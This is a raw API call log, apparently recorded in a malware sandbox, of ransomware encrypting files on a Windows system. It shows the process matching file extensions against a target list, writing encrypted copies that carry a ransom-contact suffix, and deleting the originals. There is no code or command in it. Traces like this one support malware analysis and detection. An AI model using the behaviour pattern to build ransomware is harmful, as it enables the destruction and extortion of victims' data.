	[0248.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4d58
	[0248.694] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4d58, Size=0x20) returned 0x51b090
	[0248.694] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0248.694] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0248.694] Wow64DisableWow64FsRedirection (in: OldValue=0x2d4ff58 | out: OldValue=0x2d4ff58*=0x0) returned 1
	[0248.694] lstrlenW (lpString="kernel32.dll") returned 12
	[0248.694] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51b0b8 | out: hHeap=0x4a0000) returned 1
	[0248.694] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0248.695] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51b090 | out: hHeap=0x4a0000) returned 1
	[0248.695] Sleep (dwMilliseconds=0x64) 
	[0249.070] Sleep (dwMilliseconds=0x64) 
	[0249.267] Sleep (dwMilliseconds=0x64) 
	[0249.515] lstrcmpiW (lpString1=".dat", lpString2=".Acuf2") returned 1
	[0249.515] lstrlenW (lpString="bootsqm.dat") returned 11
	[0249.515] CreateFileW (lpFileName="C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0249.574] GetFileSizeEx (in: hFile=0x298, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=3264) returned 1
	[0249.574] CloseHandle (hObject=0x298) returned 1
	[0249.574] GetFileAttributesW (lpFileName="C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat")) returned 0x80
	[0249.574] GetFileAttributesW (lpFileName="C:\\bootsqm.dat.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\bootsqm.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.574] CreateFileW (lpFileName="C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0249.574] SetFilePointerEx (in: hFile=0x298, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0249.574] SetFilePointerEx (in: hFile=0x298, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0249.574] CreateFileW (lpFileName="C:\\bootsqm.dat.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\bootsqm.dat.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0249.575] GetLastError () returned 0x0
	[0249.575] ReadFile (in: hFile=0x298, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xcc0, lpOverlapped=0x0) returned 1
	[0249.700] WriteFile (in: hFile=0x29c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xcd0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xcd0, lpOverlapped=0x0) returned 1
	[0249.701] ReadFile (in: hFile=0x298, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0249.701] WriteFile (in: hFile=0x29c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0249.701] SetEndOfFile (hFile=0x29c) returned 1
	[0249.701] CloseHandle (hObject=0x29c) returned 1
	[0249.702] SetFilePointerEx (in: hFile=0x298, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0249.702] SetEndOfFile (hFile=0x298) returned 1
	[0249.702] CloseHandle (hObject=0x298) returned 1
	[0249.702] SetFileAttributesW (lpFileName="C:\\bootsqm.dat.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x80) returned 1
	[0249.703] DeleteFileW (lpFileName="C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat")) returned 1
	[0249.703] lstrlenW (lpString="C:\\bootsqm.dat") returned 14
	[0249.703] lstrlenW (lpString="C:\\bootsqm.dat") returned 14
	[0249.703] lstrlenW (lpString=".doc") returned 4
	[0249.703] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0249.703] lstrlenW (lpString=".docx") returned 5
	[0249.703] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0249.703] lstrlenW (lpString=".pdf") returned 4
	[0249.703] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0249.703] lstrlenW (lpString=".xls") returned 4
	[0249.703] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0249.703] lstrlenW (lpString=".xlsx") returned 5
	[0249.703] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0249.703] lstrlenW (lpString=".ppt") returned 4
	[0249.704] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0249.704] lstrlenW (lpString="C:\\bootsqm.dat") returned 14
	[0249.704] lstrlenW (lpString=".zip") returned 4
	[0249.704] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0249.704] lstrlenW (lpString=".rar") returned 4
	[0249.704] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0249.704] lstrlenW (lpString=".bz2") returned 4
	[0249.704] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0249.704] lstrlenW (lpString=".7z") returned 3
	[0249.704] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0249.704] lstrlenW (lpString="C:\\bootsqm.dat") returned 14
	[0249.704] lstrlenW (lpString=".dbf") returned 4
	[0249.704] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0249.704] lstrlenW (lpString="C:\\bootsqm.dat") returned 14
	[0249.704] lstrlenW (lpString=".1cd") returned 4
	[0249.704] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0249.704] lstrlenW (lpString="C:\\bootsqm.dat") returned 14
	[0249.704] lstrlenW (lpString=".jpg") returned 4
	[0249.704] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0249.704] lstrlenW (lpString="C:\\bootsqm.dat") returned 14
	[0249.704] lstrlenW (lpString="C:\\bootsqm.dat") returned 14
	[0249.704] lstrlenW (lpString=".doc") returned 4
	[0249.704] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0249.704] lstrlenW (lpString=".docx") returned 5
	[0249.704] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0249.704] lstrlenW (lpString=".pdf") returned 4
	[0249.704] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0249.704] lstrlenW (lpString=".xls") returned 4
	[0249.704] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0249.704] lstrlenW (lpString=".xlsx") returned 5
	[0249.704] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0249.704] lstrlenW (lpString=".ppt") returned 4
	[0249.704] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0249.705] lstrlenW (lpString="C:\\bootsqm.dat") returned 14
	[0249.705] lstrlenW (lpString=".zip") returned 4
	[0249.705] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0249.705] lstrlenW (lpString=".rar") returned 4
	[0249.705] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0249.705] lstrlenW (lpString=".bz2") returned 4
	[0249.705] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0249.705] lstrlenW (lpString=".7z") returned 3
	[0249.705] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0249.705] lstrlenW (lpString="C:\\bootsqm.dat") returned 14
	[0249.705] lstrlenW (lpString=".dbf") returned 4
	[0249.705] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0249.705] lstrlenW (lpString="C:\\bootsqm.dat") returned 14
	[0249.705] lstrlenW (lpString=".1cd") returned 4
	[0249.705] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0249.705] lstrlenW (lpString="C:\\bootsqm.dat") returned 14
	[0249.705] lstrlenW (lpString=".jpg") returned 4
	[0249.705] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0249.705] lstrcmpiW (lpString1=".dat", lpString2=".Acuf2") returned 1
	[0249.705] lstrlenW (lpString="hwrlatinlm.dat") returned 14
	[0249.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0250.562] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=1100368) returned 1
	[0250.562] CloseHandle (hObject=0x320) returned 1
	[0250.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20
	[0250.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0250.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65
	[0250.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65
	[0250.562] lstrlenW (lpString=".doc") returned 4
	[0250.562] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0250.562] lstrlenW (lpString=".docx") returned 5
	[0250.562] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0250.562] lstrlenW (lpString=".pdf") returned 4
	[0250.562] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0250.563] lstrlenW (lpString=".xls") returned 4
	[0250.563] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0250.563] lstrlenW (lpString=".xlsx") returned 5
	[0250.563] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0250.563] lstrlenW (lpString=".ppt") returned 4
	[0250.563] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0250.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65
	[0250.563] lstrlenW (lpString=".zip") returned 4
	[0250.563] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0250.563] lstrlenW (lpString=".rar") returned 4
	[0250.563] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0250.563] lstrlenW (lpString=".bz2") returned 4
	[0250.563] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0250.563] lstrlenW (lpString=".7z") returned 3
	[0250.563] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0250.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65
	[0250.563] lstrlenW (lpString=".dbf") returned 4
	[0250.563] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0250.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65
	[0250.563] lstrlenW (lpString=".1cd") returned 4
	[0250.563] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0250.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65
	[0250.563] lstrlenW (lpString=".jpg") returned 4
	[0250.563] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0250.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65
	[0250.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65
	[0250.563] lstrlenW (lpString=".doc") returned 4
	[0250.563] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0250.563] lstrlenW (lpString=".docx") returned 5
	[0250.563] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0250.563] lstrlenW (lpString=".pdf") returned 4
	[0250.564] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0250.564] lstrlenW (lpString=".xls") returned 4
	[0250.564] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0250.564] lstrlenW (lpString=".xlsx") returned 5
	[0250.564] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0250.564] lstrlenW (lpString=".ppt") returned 4
	[0250.564] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0250.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65
	[0250.564] lstrlenW (lpString=".zip") returned 4
	[0250.564] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0250.564] lstrlenW (lpString=".rar") returned 4
	[0250.564] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0250.564] lstrlenW (lpString=".bz2") returned 4
	[0250.564] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0250.564] lstrlenW (lpString=".7z") returned 3
	[0250.564] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0250.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65
	[0250.564] lstrlenW (lpString=".dbf") returned 4
	[0250.564] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0250.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65
	[0250.564] lstrlenW (lpString=".1cd") returned 4
	[0250.564] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0250.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65
	[0250.564] lstrlenW (lpString=".jpg") returned 4
	[0250.564] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0250.564] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0250.564] lstrlenW (lpString="ipsfra.xml") returned 10
	[0250.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0250.565] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2628) returned 1
	[0250.565] CloseHandle (hObject=0x320) returned 1
	[0250.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20
	[0250.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0250.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61
	[0250.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61
	[0250.566] lstrlenW (lpString=".doc") returned 4
	[0250.566] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0250.566] lstrlenW (lpString=".docx") returned 5
	[0250.566] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0250.566] lstrlenW (lpString=".pdf") returned 4
	[0250.566] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0250.566] lstrlenW (lpString=".xls") returned 4
	[0250.566] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0250.566] lstrlenW (lpString=".xlsx") returned 5
	[0250.566] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0250.566] lstrlenW (lpString=".ppt") returned 4
	[0250.566] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0250.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61
	[0250.566] lstrlenW (lpString=".zip") returned 4
	[0250.566] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0250.566] lstrlenW (lpString=".rar") returned 4
	[0250.566] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0250.566] lstrlenW (lpString=".bz2") returned 4
	[0250.566] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0250.566] lstrlenW (lpString=".7z") returned 3
	[0250.566] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0250.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61
	[0250.566] lstrlenW (lpString=".dbf") returned 4
	[0250.566] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0250.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61
	[0250.567] lstrlenW (lpString=".1cd") returned 4
	[0250.567] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0250.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61
	[0250.567] lstrlenW (lpString=".jpg") returned 4
	[0250.567] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0250.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61
	[0250.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61
	[0250.567] lstrlenW (lpString=".doc") returned 4
	[0250.567] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0250.567] lstrlenW (lpString=".docx") returned 5
	[0250.567] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0250.567] lstrlenW (lpString=".pdf") returned 4
	[0250.567] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0250.567] lstrlenW (lpString=".xls") returned 4
	[0250.567] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0250.567] lstrlenW (lpString=".xlsx") returned 5
	[0250.567] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0250.567] lstrlenW (lpString=".ppt") returned 4
	[0250.567] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0250.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61
	[0250.567] lstrlenW (lpString=".zip") returned 4
	[0250.567] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0250.567] lstrlenW (lpString=".rar") returned 4
	[0250.567] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0250.567] lstrlenW (lpString=".bz2") returned 4
	[0250.567] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0250.567] lstrlenW (lpString=".7z") returned 3
	[0250.567] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0250.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61
	[0250.567] lstrlenW (lpString=".dbf") returned 4
	[0250.567] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0250.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61
	[0250.568] lstrlenW (lpString=".1cd") returned 4
	[0250.568] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0250.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61
	[0250.568] lstrlenW (lpString=".jpg") returned 4
	[0250.568] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0250.568] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0250.568] lstrlenW (lpString="ipshrv.xml") returned 10
	[0250.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0250.568] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2652) returned 1
	[0250.568] CloseHandle (hObject=0x320) returned 1
	[0250.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20
	[0250.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0250.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0250.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0250.568] lstrlenW (lpString=".doc") returned 4
	[0250.568] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0250.568] lstrlenW (lpString=".docx") returned 5
	[0250.568] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1
	[0250.568] lstrlenW (lpString=".pdf") returned 4
	[0250.569] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0250.569] lstrlenW (lpString=".xls") returned 4
	[0250.569] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0250.569] lstrlenW (lpString=".xlsx") returned 5
	[0250.569] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1
	[0250.569] lstrlenW (lpString=".ppt") returned 4
	[0250.569] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0250.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0250.569] lstrlenW (lpString=".zip") returned 4
	[0250.569] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0250.569] lstrlenW (lpString=".rar") returned 4
	[0250.569] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0250.569] lstrlenW (lpString=".bz2") returned 4
	[0250.569] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0250.569] lstrlenW (lpString=".7z") returned 3
	[0250.569] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0250.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0250.569] lstrlenW (lpString=".dbf") returned 4
	[0250.569] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0250.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0250.569] lstrlenW (lpString=".1cd") returned 4
	[0250.569] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0250.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0250.569] lstrlenW (lpString=".jpg") returned 4
	[0250.569] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0250.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0250.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0250.569] lstrlenW (lpString=".doc") returned 4
	[0250.569] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0250.569] lstrlenW (lpString=".docx") returned 5
	[0250.570] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1
	[0250.570] lstrlenW (lpString=".pdf") returned 4
	[0250.570] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0250.570] lstrlenW (lpString=".xls") returned 4
	[0250.570] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0250.570] lstrlenW (lpString=".xlsx") returned 5
	[0250.570] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1
	[0250.570] lstrlenW (lpString=".ppt") returned 4
	[0250.570] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0250.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0250.570] lstrlenW (lpString=".zip") returned 4
	[0250.570] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0250.570] lstrlenW (lpString=".rar") returned 4
	[0250.570] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0250.570] lstrlenW (lpString=".bz2") returned 4
	[0250.570] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0250.570] lstrlenW (lpString=".7z") returned 3
	[0250.570] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0250.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0250.570] lstrlenW (lpString=".dbf") returned 4
	[0250.570] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0250.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0250.570] lstrlenW (lpString=".1cd") returned 4
	[0250.570] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0250.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0250.570] lstrlenW (lpString=".jpg") returned 4
	[0250.570] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0250.570] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0250.571] lstrlenW (lpString="ipsita.xml") returned 10
